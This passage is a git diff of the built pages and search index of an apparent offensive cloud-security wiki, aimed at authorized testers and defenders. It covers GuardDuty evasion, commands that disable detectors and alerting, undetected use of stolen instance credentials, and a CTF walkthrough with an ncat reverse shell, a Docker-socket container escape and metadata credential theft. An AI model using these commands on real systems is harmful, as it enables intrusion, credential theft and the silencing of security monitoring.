        • Constraint looks for the name of the machine in the project identifier specified in the specific zone
        • If you can boot a VM with this specific set of criteria, then you can have a machine with an External IP Address
        • Machine cannot already exist.
        • constraints/compute.vmCanIpForward: Another Non Retroactive Setting. The machine must not exist before this setting is created. Once this is set, then machines will enforce this condition.
      \ No newline at end of file diff --git a/index.html b/index.html index 04ee93093..9142cb720 100644 --- a/index.html +++ b/index.html @@ -1,4 +1,4 @@ - Hacking The Cloud - Hacking The Cloud

      Home

      Hacking the Cloud logo

      Hacking the cloud is an encyclopedia of the attacks/tactics/techniques that offensive security professionals can use on their next cloud exploitation adventure. The goal is to share this knowledge with the security community to better defend cloud native technologies.

      All content on this site is created by volunteers. If you'd like to be one of them, you can contribute your knowledge by submitting a Pull Request. We are open to content from any major cloud provider and will also accept cloud-related technologies as well (Docker, Terraform, K8s, etc.). Additionally you are encouraged to update/modify/improve existing pages as well.

      Topics can include offensive techniques, tools, general knowledge related to cloud security, etc. Defensive knowledge is also welcome! At the end of the day the primary goal is to make the cloud safer, and defenders are welcome to submit content all the same.

      Don't worry about submitting content in the wrong format or what section it should be a part of, we can always make improvements later :) When writing content about a technique identified by a researcher, credit the researcher who discovered it and link to their site/talk.

      Contributing

      If you'd like to contribute to the site, please see our contributing page. Anything helps! An article, a paragraph, or even a fix for a grammar mistake.

      Please checkout the GitHub page for more!

      Disclaimer

      The information provided by Hacking the Cloud is intended to be used by professionals who are authorized to perform security assessments or by those defending cloud environments. While these techniques can be used to avoid detection, escalate privileges, compromise resources, etc. the intent is to improve security by making the knowledge of these techniques more generally available.

      Home

      Hacking the Cloud logo

      Hacking the cloud is an encyclopedia of the attacks/tactics/techniques that offensive security professionals can use on their next cloud exploitation adventure. The goal is to share this knowledge with the security community to better defend cloud native technologies.

      All content on this site is created by volunteers. If you'd like to be one of them, you can contribute your knowledge by submitting a Pull Request. We are open to content from any major cloud provider and will also accept cloud-related technologies as well (Docker, Terraform, K8s, etc.). Additionally you are encouraged to update/modify/improve existing pages as well.

      Topics can include offensive techniques, tools, general knowledge related to cloud security, etc. Defensive knowledge is also welcome! At the end of the day the primary goal is to make the cloud safer, and defenders are welcome to submit content all the same.

      Don't worry about submitting content in the wrong format or what section it should be a part of, we can always make improvements later :) When writing content about a technique identified by a researcher, credit the researcher who discovered it and link to their site/talk.

      Contributing

      If you'd like to contribute to the site, please see our contributing page. Anything helps! An article, a paragraph, or even a fix for a grammar mistake.

      Please checkout the GitHub page for more!

      Disclaimer

      The information provided by Hacking the Cloud is intended to be used by professionals who are authorized to perform security assessments or by those defending cloud environments. While these techniques can be used to avoid detection, escalate privileges, compromise resources, etc. the intent is to improve security by making the knowledge of these techniques more generally available.

      \ No newline at end of file diff --git a/search/search_index.json b/search/search_index.json index da92a221a..9c301d8c1 100644 --- a/search/search_index.json +++ b/search/search_index.json @@ -1 +1 @@ -{"config":{"lang":["en"],"separator":"[\\s\\-]+","pipeline":["stopWordFilter"],"fields":{"title":{"boost":1000.0},"text":{"boost":1.0},"tags":{"boost":1000000.0}}},"docs":[{"location":"","title":"Home","text":"

      Hacking the cloud is an encyclopedia of the attacks/tactics/techniques that offensive security professionals can use on their next cloud exploitation adventure. The goal is to share this knowledge with the security community to better defend cloud native technologies.

      All content on this site is created by volunteers. If you'd like to be one of them, you can contribute your knowledge by submitting a Pull Request. We are open to content from any major cloud provider and will also accept cloud-related technologies as well (Docker, Terraform, K8s, etc.). Additionally you are encouraged to update/modify/improve existing pages as well.

      Topics can include offensive techniques, tools, general knowledge related to cloud security, etc. Defensive knowledge is also welcome! At the end of the day the primary goal is to make the cloud safer, and defenders are welcome to submit content all the same.

      Don't worry about submitting content in the wrong format or what section it should be a part of, we can always make improvements later :) When writing content about a technique identified by a researcher, credit the researcher who discovered it and link to their site/talk.

      "},{"location":"#contributing","title":"Contributing","text":"

      If you'd like to contribute to the site, please see our contributing page. Anything helps! An article, a paragraph, or even a fix for a grammar mistake.

      Please checkout the GitHub page for more!

      "},{"location":"#disclaimer","title":"Disclaimer","text":"

      The information provided by Hacking the Cloud is intended to be used by professionals who are authorized to perform security assessments or by those defending cloud environments. While these techniques can be used to avoid detection, escalate privileges, compromise resources, etc. the intent is to improve security by making the knowledge of these techniques more generally available.

      "},{"location":"aws/avoiding-detection/guardduty-pentest/","title":"Bypass GuardDuty Pentest Findings for the AWS CLI","text":"

      Thank You

      Thank you to @yobroda for notifying me that the previous method in this article was outdated and suggesting a more reliable, long-term solution.

      As a cloud Penetration Tester or Red Teamer, we need to be aware of what artifacts we leave behind in the logs that we touch. One easy to overlook clue is the User-Agent value passed in AWS API requests. When using the AWS CLI or SDK to interact with AWS services, the User-Agent string is passed in the headers of the HTTP request. This string can be used to identify the tool or library making the request.

      This can give away the operating system you are using and may raises suspicion from defenders. For example, say you steal credentials from a developer workstation running MacOS and suddenly start making requests from a Windows machine. This suspicious activity could be noticed by automation and an alarm could be raised.

      This is where AWS GuardDuty comes in. GuardDuty is a threat detection service that continuously monitors for malicious activity and unauthorized behavior to protect your AWS accounts and workloads. GuardDuty takes this idea a step further and has built-in detections for common penetration testing Linux distributions like Kali Linux, ParrotOS, and Pentoo Linux. If you make AWS API requests from one of these distributions, GuardDuty will trigger a PenTest Finding.

      As you can imagine, this is not ideal. The good news is that the User-Agent string is entirely within our control. While this value is unfortunately something we cannot natively configure with the AWS CLI, we can use external tooling to intercept our requests and modify them. In this article, we will explain how we can modify our User-Agent string when using the AWS CLI to avoid triggering GuardDuty alerts.

      Note

      In the following example we will use Burp Suite because it is freely available and commonly used. If you have an alternative suggestion, please open a pull request to add it.

      "},{"location":"aws/avoiding-detection/guardduty-pentest/#burp-suite-setup-and-usage","title":"Burp Suite Setup and Usage","text":"

      To begin, download and install Burp Suite Community Edition. With it running, navigate to the Proxy tab and click Proxy settings.

      Next, scroll to HTTP match and replace rules:

      From here, click Add and enter the following values:

      • Type: Request header
      • Match: ^User-Agent.*$
      • Regex match: Should be checked
      • Replace: This can be any string of your choosing. Ensure you preprend User-Agent: to the beginning of the string. For a list of potential User-Agent values, you can refer to this list from Pacu.

      Click Test to see an example of what your change would look like.

      To finish, click OK. To ensure your new rule is enabled, scroll to the bottom of your match and replace rules.

      Next, we need to configure our AWS CLI to use Burp Suite as a proxy. This can be done by setting the HTTP_PROXY and HTTPS_PROXY environment variables. For example:

      export HTTPS_PROXY=http://127.0.0.1:8080\nexport HTTP_PROXY=http://127.0.0.1:8080\n

      With this setup, all of your AWS CLI requests will be routed to Burp Suite, however you will likely encounter the following error:

      SSL validation failed for https://sts.us-east-1.amazonaws.com/ [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1129)\n

      This is because Burp Suite uses a self-signed certificate. There are multiple options to resolve this issue and I will defer to your professional discretion on which to use. You could, for example, add the self-signed certificate to your trusted certificates. Alternatively you could disable SSL verification with the AWS CLI using the --no-verify-ssl flag.

      Regardless of the method you choose, after making a request to the AWS API you should see the User-Agent string you configured appear in the associated CloudTrail logs.

      With all of this in place, you can now make requests to the AWS API using the CLI without triggering GuardDuty alerts.

      "},{"location":"aws/avoiding-detection/guardduty-tor-client/","title":"Bypass GuardDuty Tor Client Findings","text":"

      UnauthorizedAccess:EC2/TorClient is a high severity GuardDuty finding that fires when an EC2 instance is detected making connections to Tor Guard or Authority nodes. According to the documentation, \"this finding may indicate unauthorized access to your AWS resources with the intent of hiding the attacker's true identity\".

      AWS determines this by comparing connections to the public list of Tor nodes. To those familiar with the Tor project, this is a common problem. Countries, internet service providers, and other authorities may block access to the Tor network making it difficult for citizens to access the open internet.

      From a technical perspective the Tor Project has largely gotten around this by using Bridges. Bridges are special nodes that do not disclose themselves like other Tor nodes do. Individuals who would normally have difficulty connecting directly to Tor can instead route their traffic through Bridge nodes. Similarly, we can bypass the Tor Client GuardDuty finding by using bridges.

      To do so, download the Tor and obfs4proxy binaries (the simplest way to do this on a Debian based system is apt install tor obfs4proxy and move them to your target). Obfs4 is a Pluggable Transport which modifies Tor traffic to communicate with a bridge. Navigate to bridges.torproject.org to get a bridge address.

      From here, create a torrc file with the following contents (being sure to fill in the information you got for the bridge address):

      UseBridges 1\nBridge obfs4 *ip address*:*port* *fingerprint* cert=*cert string* iat-mode=0\nClientTransportPlugin obfs4 exec /bin/obfs4proxy\n

      You will now be able to connect to the Tor network with tor -f torrc and you can connect to the Socks5 proxy on port 9050 (by default).

      "},{"location":"aws/avoiding-detection/modify-guardduty-config/","title":"Modify GuardDuty Configuration","text":"

      When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like Service Control Policies.

      Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so they can only be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in.

      "},{"location":"aws/avoiding-detection/modify-guardduty-config/#misconfiguring-the-detector","title":"Misconfiguring the Detector","text":"

      An attacker could modify an existing GuardDuty detector in the account, to remove log sources or lessen its effectiveness.

      • Required IAM Permissions

        • guardduty:ListDetectors
        • guardduty:UpdateDetector

      Configuration changes may include a combination of:

      • Disabling the detector altogether.
      • Removing Kubernetes and s3 as data sources, which removes all S3 Protection and Kubernetes alerts.
      • Increasing the event update frequency to 6 hours, as opposed to as low as 15 minutes.

      Example CLI commands

      # Disabling the detector\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --no-enable \n\n# Removing s3 as a log source\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --data-sources S3Logs={Enable=false}\n\n# Increase finding update time to 6 hours\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --finding-publishing-frequency SIX_HOURS\n

      "},{"location":"aws/avoiding-detection/modify-guardduty-config/#modifying-trusted-ip-lists","title":"Modifying Trusted IP Lists","text":"

      An attacker could create or update GuardDuty's Trusted IP list, including their own IP on the list. Any IPs in a trusted IP list will not have any Cloudtrail or VPC flow log alerts raised against them.

      DNS findings are exempt from the Trusted IP list.

      • Required IAM Permissions

        • guardduty:ListDetectors
        • guardduty:ListIPSets
        • guardduty:CreateIPSet
        • guardduty:UpdateIPSet
        • iam:PutRolePolicy

      Depending on the level of stealth required, the file can be uploaded to an s3 bucket in the target account, or an account controlled by the attacker.

      Example CLI commands

      aws guardduty update-ip-set \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --ip-set-id 24adjigdk34290840348exampleiplist \\\n    --location https://malicious-bucket.s3-us-east-1.amazonaws.com/customiplist.csv \\\n    --activate\n

      "},{"location":"aws/avoiding-detection/modify-guardduty-config/#modify-cloudwatch-events-rule","title":"Modify Cloudwatch events rule","text":"

      GuardDuty populates its findings to Cloudwatch Events on a 5 minute cadence. Modifying the Event pattern or Targets for an event may reduce GuardDuty's ability to alert and trigger auto-remediation of findings, especially where the remediation is triggered in a member account as GuardDuty administrator protections do not extend to the Cloudwatch events in the member account.

      • Required IAM Permissions

        • events:ListRules
        • events:ListTargetsByRule
        • events:PutRule
        • events:RemoveTargets

      Note

      In a delegated or invitational admin GuardDuty architecture, cloudwatch events will still be created in the admin account.

      Example CLI commands

      # Disable GuardDuty Cloudwatch Event\naws events put-rule --name guardduty-event \\\n--event-pattern \"{\\\"source\\\":[\\\"aws.guardduty\\\"]}\" \\\n--state DISABLED\n\n# Modify Event Pattern\naws events put-rule --name guardduty-event \\\n--event-pattern '{\"source\": [\"aws.somethingthatdoesntexist\"]}'\n\n# Remove Event Targets\naws events remove-targets --name guardduty-event \\\n--ids \"GuardDutyTarget\"\n

      "},{"location":"aws/avoiding-detection/modify-guardduty-config/#supression-rules","title":"Supression Rules","text":"

      Newly create GuardDuty findings can be automatically archived via Suppression Rules. An adversary could use filters to automatically archive findings they are likely to generate.

      • Required IAM Permissions

        • guardduty:CreateFilter

      Example CLI commands

      aws  guardduty create-filter --action ARCHIVE --detector-id 12abc34d567e8fa901bc2d34e56789f0 --name yourfiltername --finding-criteria file://criteria.json\n

      Filters can be created using the CreateFilter API.

      "},{"location":"aws/avoiding-detection/modify-guardduty-config/#delete-publishing-destination","title":"Delete Publishing Destination","text":"

      An adversary could disable alerting simply by deleting the destination of alerts.

      • Required IAM Permissions

        • guardduty:DeletePublishingDestination

      Example CLI commands

      aws guardduty delete-publishing-destination --detector-id abc123 --destination-id def456\n
      "},{"location":"aws/avoiding-detection/steal-keys-undetected/","title":"Bypass Credential Exfiltration Detection","text":"
      • Tools mentioned in this article

        SneakyEndpoints: Hide from the InstanceCredentialExfiltration GuardDuty finding by using VPC Endpoints

      A common technique when exploiting AWS environments is leveraging SSRF, XXE, command injection, etc. to steal IAM credentials from the instance metadata service of a target EC2 instance. This can allow you to execute AWS API calls within the victim's account, however, it comes with a risk. If you were to try to use those credentials outside of that host (for example, from your laptop) an alert would be triggered. There is a GuardDuty finding which detects when IAM credentials are being used outside of EC2 called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS.

      To get around this alert being triggered, attackers could use the stolen credentials from the attacker's EC2 instance. The alert only detected if the credentials were used outside of EC2, not the victim's specific EC2 instance. So by using their own, or exploiting another EC2 instance, attackers could bypass the GuardDuty alert.

      On January 20th 2022, AWS released a new GuardDuty finding called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS. This new finding addressed the shortcomings of the previous one. Now, when IAM credentials are used from ANY EC2 instance, if those credentials don't belong to the same account as the EC2 instance which generated them, it triggers the alert. Thus, simply using your own EC2 instance is no longer viable. This addresses a long standing concern within the cloud security community.

      However, there is currently a functioning bypass for this - VPC Endpoints. Using VPC Endpoints will not trigger the GuardDuty alert. What this means is that, as an attacker, if you steal IAM credentials from an EC2 instance, you can use those credentials from your own EC2 instance while routing traffic through VPC Endpoints. This will not trigger the GuardDuty finding.

      Note

      There is another bypass option, however, it would only be useful in niche scenarios. The InstanceCredentialExfiltration finding is only tied to the AWS account, not the EC2 instance. As a result, if you compromise an EC2 instance in the target account and then compromise OTHER EC2 instances in the account, or steal their IAM credentials, you can safely use them from the initially compromised instance without fear of triggering GuardDuty.

      "},{"location":"aws/avoiding-detection/steal-keys-undetected/#sneakyendpoints","title":"SneakyEndpoints","text":"

      To make this setup faster/easier for Penetration Testers and Red Teamers, SneakyEndpoints was created. This project is a collection of Terraform configurations which can quickly spin up an environment to attack form. It will create an EC2 instance in a private subnet (no internet access) and create a number of VPC Endpoints for you to use. This setup ensures we don't accidentally access an internet facing API endpoint and trigger the alert.

      "},{"location":"aws/avoiding-detection/steal-keys-undetected/#setup-and-usage","title":"Setup and Usage","text":"

      To use SneakyEndpoints first install Terraform and set AWS credentials within your shell session.

      Next, perform the following Terraform commands:

      terraform init\nterraform apply\n

      Before continuing Terraform will ask you to confirm the deployment. After that, way ~10 minutes for everything to be done. Please note that after the deployment is finished it may take a short period of time for the EC2 instance to be connectable.

      After this period of time, connect to the EC2 instance using the AWS Systems Manager Session Manager.

      To teardown the infrastructure, run the following command:

      terraform destroy\n
      "},{"location":"aws/avoiding-detection/steal-keys-undetected/#using-sts","title":"Using STS","text":"

      Due to a quirk in how STS is setup, you will have to set a specific environment variable with the following command.

      export AWS_STS_REGIONAL_ENDPOINTS=regional\n

      This is because some versions of the AWS SDK default to using the global STS endpoint at sts.amazonaws.com. This is problematic because VPC endpoints are regional (e.g. sts.us-east-1.amazonaws.com). The result is that if you use a version that is expecting the global endpoint with SneakyEndpoints, the connection will timeout.

      "},{"location":"aws/capture_the_flag/cicdont/","title":"CI/CDon't","text":"

      Link to Project: CI/CDon't

      Note

      This project will deploy intentionally vulnerable software/infrastructure to your AWS account. Please ensure there is no sensitive or irrecoverable data in the account. Attempts have been made to mitigate this however they may not be fullproof; Security Group rules only allow access to the vulnerable EC2 instance from your public IP address, and a randomly generated password is required to access it.

      Warning

      If you intend to play the CTF it is a good idea to read through this page carefully to ensure you have all the details (minus the walkthrough). This page will familiarize the player with how the CTF works, what the objective is, and what the storyline is.

      "},{"location":"aws/capture_the_flag/cicdont/#background","title":"Background","text":"

      This is an AWS/GitLab CI/CD themed CTF that you can run in your own AWS account. All that is required is an AWS account and Terraform installed locally on your machine.

      Costs should be minimal; running this infrastructure in my own account for three hours didn't accrue a cent in the Billing Dashboard, however extended time frames may cause costs to add up.

      In terms of difficulty, it would be rated low. The goal is more about having fun and working through some simple CI/CD/AWS challenges that even non-security folks would enjoy.

      "},{"location":"aws/capture_the_flag/cicdont/#how-to-play","title":"How to Play","text":"

      Clone this repository and navigate to the cicdont directory.

      git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git\ncd htc-ctfs/aws/cicdont\n

      To deploy the CTF environment run the Terraform init/apply command.

      terraform init\nterraform apply\n

      You will be prompted with two questions. The first is a consent related to the costs of the CTF (Again, these should be minimal however the environment should still be taken down when you're finished with it). The second is asking your player name. Please do not use special characters in the name, only upper and lower case letters. This will be used in the game.

      Note

      It will take approximately 10 minutes for all the infrastructure to be deployed and ready. This 10 minute timer begins AFTER the Terraform apply has completed. This time is used to install all the software, create the NPCs, etc.

      Warning

      To be able to access the vulnerable instance, Terraform will attempt to determine your public IP address and create a security group that only that IP address can access. If you cannot access the target_ip (explained below) after 10 minutes, check the AWS console for a security group named allow_http and ensure that its configuration would allow you to reach it.

      To destroy the CTF environment run the Terraform destroy command.

      terraform destroy\n

      This will again prompt you for the two questions. Please answer them and the infrastructure will be destroyed.

      "},{"location":"aws/capture_the_flag/cicdont/#the-important-bits","title":"The Important Bits","text":"

      Once you've run terraform apply, you will receive 5 outputs. This will include the following:

      • Player Username
      • Player Password (randomly generated)
      • Attackbox IP
      • Target IP
      • Time warning

      The attackbox is an EC2 instance you can use for whatever purposes you deem fit. In particular you can use it to catch a reverse shell, or load your C2 platform of choice on it (you have sudo access via the password).

      To access the attackbox, you can ssh using your player username and password.

      ssh <player username>@<attackbox IP>\n

      Note

      When sshing with a player username, note that the username is case-sensitive.

      It will take approximately 10 minutes for all the infrastructure to finish deploying. If you'd like to test if it's finished, you can navigate to http://<target IP>/. If it doesn't respond, or only shows a generic GitLab login page, then the CTF is not ready yet. If you see a message about SoftHouseIO, then everything is setup and ready.

      Note

      To be able to access the vulnerable instance, Terraform will attempt to determine your public IP address and create security group rules that only that IP address can access. If you cannot access the target instance after 10 minutes (likely shorter), check the AWS console for a security group named allow_http and ensure that it's configuration would allow you to reach it.

      These security group rules apply to both the target (GitLab) and the attackbox. Additionally, the rules are configured to allow the attackbox to receive incoming traffic from the target (to catch shells).

      If you see any references to gamemaster, please ignore it. Those scripts are used to simulate the NPCs and have them complete their lore tasks. It is unrelated to the challenge.

      "},{"location":"aws/capture_the_flag/cicdont/#the-story","title":"The Story","text":"

      You are <player username>, a developer at SoftHouseIO, an independent software development consultancy firm. While you like the company, you're thinking about making a little money on the side, perhaps through not entirely legal means. Can you say ransomware?

      After planning your attack you figure the best place to get started is the company GitLab server at http://<target IP>. Your username and password should you get you in. You'll want to gain access to administrative credentials for the AWS account the company uses.

      "},{"location":"aws/capture_the_flag/cicdont/#the-objective","title":"The Objective","text":"

      Gain access to the aws_admin_automation_user through whatever means necessary (Note that this role has no permissions. It is simply the goal).

      "},{"location":"aws/capture_the_flag/cicdont/#feedback","title":"Feedback","text":"

      Want to provide feedback on the challenge? Open a new discussion on GitHub

      "},{"location":"aws/capture_the_flag/cicdont/#walkthrough","title":"Walkthrough","text":"

      The following is a step by step walkthrough of the CTF. You can refer to this if you get stuck or simply just want to know what is next. Click the summary below to expand it.

      Summary

      Consent and Name

      To begin the CTF we must first stand up all the infrastructure. We do this using Terraform.

      Download the challenge using git.

      git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git\ncd htc-ctfs/aws/cicdont\n

      Initialize the project.

      terraform init\n

      Create the infrastructure.

      terraform apply\n

      We will be prompted first with a consent. Read through the question and answer with yes or no.

      After this, it will ask for a player name. Please only use lower and uppercase letters. No special characters or numbers.

      After this, you will be asked if you'd like to perform the deployment. Answer with \"yes\".

      The Terraform deployment will begin.

      Wait

      Note

      You will now need to wait 10 minutes for the deployment to finish. The 10 minute timer starts AFTER you get the \"Apply complete\" notification.

      Does it really take 10 minutes? Yes, it takes a little bit to get everything setup. You can take this time to get familiar with your attackbox. This is an EC2 instance you can use for whatever you need during the CTF, particularly to catch shells.

      You can ssh into the box using your username and password

      ssh <player_username>@<target_ip>\n

      Note

      The username is case-sensitive.

      Getting Started

      After waiting those 10 minutes, you finally have a target. You can navigate to the target_ip to see a GitLab instance. Log in using your player username and password.

      From here, you can navigate around, explore the various projects, and more. You might even notice a little notification in the upper right hand corner.

      Ashley has some work for us! Perhaps this will give us a hint for something we can exploit.

      Navigate to the mvp-docker project's Issues page.

      This is interesting for a few reasons. Most notably, Ashley wants some help with building a Docker container as a part of the CI/CD pipeline. She also mentions a gitlab-ci.yml file, which is the configuration for the GitLab CI/CD pipeline.

      Building Docker images as a part of a CI/CD pipeline can have serious security implications and this is definitely worth looking into.

      Before we can get to that fun, let's take a look at that gitlab-ci.yml file. Navigate there and make some changes (you can edit the file through the web browser if you prefer or you can clone the project locally).

      After committing changes (via the web interface or otherwise) you can navigate to the CI/CD tab on the left to see the pipeline execute.

      Clicking on the status, and then the build job we can see the output.

      This can tell us a few things that are very useful to us as attackers. First, on line 3, we see that the CI/CD pipeline is using the \"docker\" executor, meaning everything executes inside a Docker container somewhere. On line 6, we see that it is using an Ubuntu Docker image. And lines 20+ show us that our input is executing in this environment.

      This looks like a fantastic place to start.

      Getting a Reverse Shell

      Our next step will be to get a shell in this environment. This is where our attackbox can come in.

      Please note: You are welcome to use your C2 platform of choice (If you'd like a recommendation, I'm a fan of Mythic). For this walkthrough I will use netcat for simplicity.

      SSH into your attack box and install a tool called ncat.

      Now, we can setup a listener (from the attackbox) with the following command.

      sudo ncat -l 443 --ssl -v\n

      We can now go back and edit the gitlab-ci.yml file to send a reverse shell. Using Ncat it's as easy as adding the following lines. From our previous foray we know this is an Ubuntu Docker container, and thus, we can use the apt package manager.

      apt update\napt install -y ncat\nncat <attackbox_ip> 443 --ssl -e /bin/bash -v\n

      Now click \"Commit changes\" and watch that pipeline run.

      You are now the proud owner of a reverse shell inside this Docker container.

      Docker Socket

      From here, there are a number of things we could try to do. Your first instinct may be, \"I'm on an EC2 instance, can I reach the metadata service?\". That's a great idea! Unfortunately you can't.

      The bright folks over at SoftHouseIO use IMDSv2, one of the benefits of which is that Docker containers cannot reach it by default.

      TTL of 1: The default configuration of IMDSv2 is to set the Time To Live (TTL) of the TCP packet containing the session token to \"1\". This ensures that misconfigured network appliances (firewalls, NAT devices, routers, etc.) will not forward the packet on. This also means that Docker containers using the default networking configuration (bridge mode) will not be able to reach the instance metadata service.\n

      That's a bummer. Other options? Try and pivot off this machine to something else in the VPC? Access a service exposed internally to the host (172.17.0.1)? Escape the container?

      That last one might get us somewhere. Ashley mentioned having some issues about building a Docker container in the pipeline. To do that, wouldn't they have to use something like kaniko? What if they just exposed the Docker socket instead?

      When a Docker socket is exposed inside a container, it can have dangerous consequences as an attacker can potentially escape the container and escalate privileges on the host.

      The common location for the socket is at /var/run/docker.sock, let's go look for it.

      There we go! They did mount the Docker socket! Let's use this to escape the container.

      Escaping the Container

      Note: There are many different ways you could abuse this to escape the container. I will walk through what I think is the simplest.

      First let's install two tools that will make things easier for ourselves.

      apt update\napt install -y python3 docker.io\n

      Python3 will help us to spawn a tty and having the Docker binary will make it easier to interact with the Docker socket. We could alternatively use curl.

      With those two tools installed, let's spawn a tty with the classic Python one-liner.

      python3 -c \"import pty;pty.spawn('/bin/bash')\"\n

      Doesn't that looks so much better? We have an actual shell prompt now. This will be useful for interacting with the Docker socket. Speaking of which, let's see which Docker containers are running on the host.

      docker ps\n

      This output lets us know that everything is working as intended. With access to the Docker socket, let's escape by creating a privileged Docker container (Note: There are a number of options to do this).

      docker run -it --rm --pid=host --privileged ubuntu bash\n

      Now, inside our new privileged container, let's migrate to the namespace of a process running on the host.

      nsenter --target 1 --mount --uts --ipc --net --pid -- bash\n

      How fun is that?! We now have root on the underlying host and have escaped the container.

      Escalating

      With root on the host, we have a number of options for next steps. We can steal IAM credentials from the metadata service, brute force our IAM permissions, enumerate roles in the account to find out what services are running in the account, attempt to escalate IAM privileges, maybe try to intercept the SSM agent if it's running on the box? One place we should check before doing all that is the user data.

      User data is used to run commands when an EC2 instance is first started or after it is rebooted (with the right configuration). This can be very helpful to determine what software is installed on the machine, and it can also potentially be a source of credentials from developers who aren't very careful.

      Let's check this (remember we are using IMDSv2).

      TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/user-data/\n

      On first glance it appears pretty standard; It installs GitLab, installs the GitLab runners, activates them, etc.

      There is a slight problem though, on the line where they installed GitLab, they accidentally leaked a credential. An important one at that. That is the credential to the root user of GitLab.

      This is bad news for SoftHouseIO and great news for us. Let's use this to log into the GitLab web UI as an administrator (username: root, password: <what's in the useradata>)

      After exploring around for a little while, you may stumble into the the infra-deployer project. That sounds important.

      \"Admin IAM Credentials are being stored in environment variables to be used with the GitLab runners\". That sounds.....very interesting. The good news is that as an administrator, we can see those variables. Navigate to the Settings tab on the left and then click CI/CD. Next, click Expand on the Variables section.

      An Access Key and a Secret Access Key! Let's see who they belong to (you can also do this without logging to CloudTrail if you were so inclined).

      export AWS_ACCESS_KEY_ID=AKIA....\nexport AWS_SECRET_ACCESS_KEY=....\naws sts get-caller-identity\n

      And with that we have achieved our objective! Congratulations on completing the CTF. Want to provide some feedback? Feel free to open a discussion on GitHub.

      "},{"location":"aws/capture_the_flag/cicdont/#acknowledgements","title":"Acknowledgements","text":"

      These wonderful folks helped beta-test this CTF and provided feedback.

      Christophe Tafani-Dereeper Jake Berkowsky Kaushik Pal

      "},{"location":"aws/deprecated/stealth_perm_enum/","title":"[Deprecated] Enumerate Permissions without Logging to CloudTrail","text":"
      • Original Research

        Enumerate AWS API Permissions Without Logging to CloudTrail by Nick Frichette

      • Tools mentioned in this article

        aws_stealth_perm_enum

      Warning

      As of 5/18/2021, this technique has been resolved and fixed by AWS. Mutating the Content-Type header when making API requests no longer can be used to enumerate permissions of a role or user. This page is maintained for historical and inspiration purposes.

      After compromising an IAM credential while attacking AWS, your next task will be to determine what permissions that credential has scoped to them.

      Aside from guessing, enumerating these permissions would typically require a tool to brute force them like enumerate-iam (which is a fantastic tool). The problem of course is that this will generate a ton of CloudTrail logs and will alert any defender. This poses a challenge to us, how can we enumerate permissions in a stealthy manner?

      The good news is that there is a bug in the AWS API that affects 589 actions across 39 different AWS services. This bug is a result of a mishandling of the Content-Type header, and when that header is malformed in a specific way the results are not logged to CloudTrail. Based on the response codes/body we can determine if the role does or does not have permission to make that API call.

      The following services are affected, although please note, that not all actions for these services can be enumerated.

      application-autoscaling appstream athena autoscaling-plans aws-marketplace cloudhsm codecommit codepipeline codestar comprehend cur datapipeline dax discovery forecast gamelift health identitystore kinesis kinesisanalytics macie mediastore mgh mturk-requester opsworks-cm personalize redshift-data route53domains route53resolver sagemaker secretsmanager shield sms snowball support tagging textract translate workmail

      Note

      For an in depth explanation for the bug, please see the original research. In this article we will just discuss how to take advantage of it.

      There are some conditions to the enumeration, and they are defined below.

      1 - The AWS service uses the JSON 1.1 protocol. 2 - The API actions returns a unique error code depending on the permission set. 3 - The resource associated with that action is set to \"*\".

      To perform the enumeration there is a script here. Setting the credentials as environment variables and then running the script will inform you what API permissions you have available to you.

      "},{"location":"aws/deprecated/whoami/","title":"[Deprecated] Whoami - Get Principal Name From Keys","text":""},{"location":"aws/deprecated/whoami/#sns-publish","title":"sns publish","text":"

      Warning

      As of Q4 2023 these calls can optionally be tracked in CloudTrail by enabling dataplane logging. While this will not be enabled for the overwhelming majority of AWS accounts, there is no reason to risk it when there are other methods available.

      sns:Publish would return the ARN of the calling user/role without logging to CloudTrail. To use this method, you had to provide a valid AWS account ID in the API call. This could be your own account id, or the account id of anyone else.

      user@host:~$ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa\n\nAn error occurred (AuthorizationError) when calling the Publish operation: User: arn:aws:iam::123456789123:user/no-perm is not authorized to perform: SNS:Publish on resource: arn:aws:sns:us-east-1:*account id*:aaa because no resource-based policy allows the SNS:Publish action\n
      "},{"location":"aws/deprecated/whoami/#sdb-list-domains","title":"sdb list-domains","text":"

      Warning

      As of August 15, 2020 these calls are now tracked in CloudTrail (tweet). This page is maintained for historical and inspiration purposes.

      As found by Spencer Gietzen, the API call for sdb list-domains will return very similar information to get-caller-identity.

      user@host:$ aws sdb list-domains --region us-east-1\n\nAn error occurred (AuthorizationFailure) when calling the ListDomains operation: User (arn:aws:sts::123456789012:assumed-role/example_role/i-00000000000000000) does not have permission to perform (sdb:ListDomains) on resource (arn:aws:sdb:us-east-1:123456789012:domain/). Contact account owner.\n
      "},{"location":"aws/enumeration/account_id_from_ec2/","title":"Enumerate AWS Account ID from an EC2 Instance","text":"

      With shell or command line access to an EC2 instance, you will be able to determine some key information about the AWS account.

      "},{"location":"aws/enumeration/account_id_from_ec2/#get-caller-identity","title":"get-caller-identity","text":"

      By using get-caller-identity, the EC2 instance may have an EC2 instance profile setup.

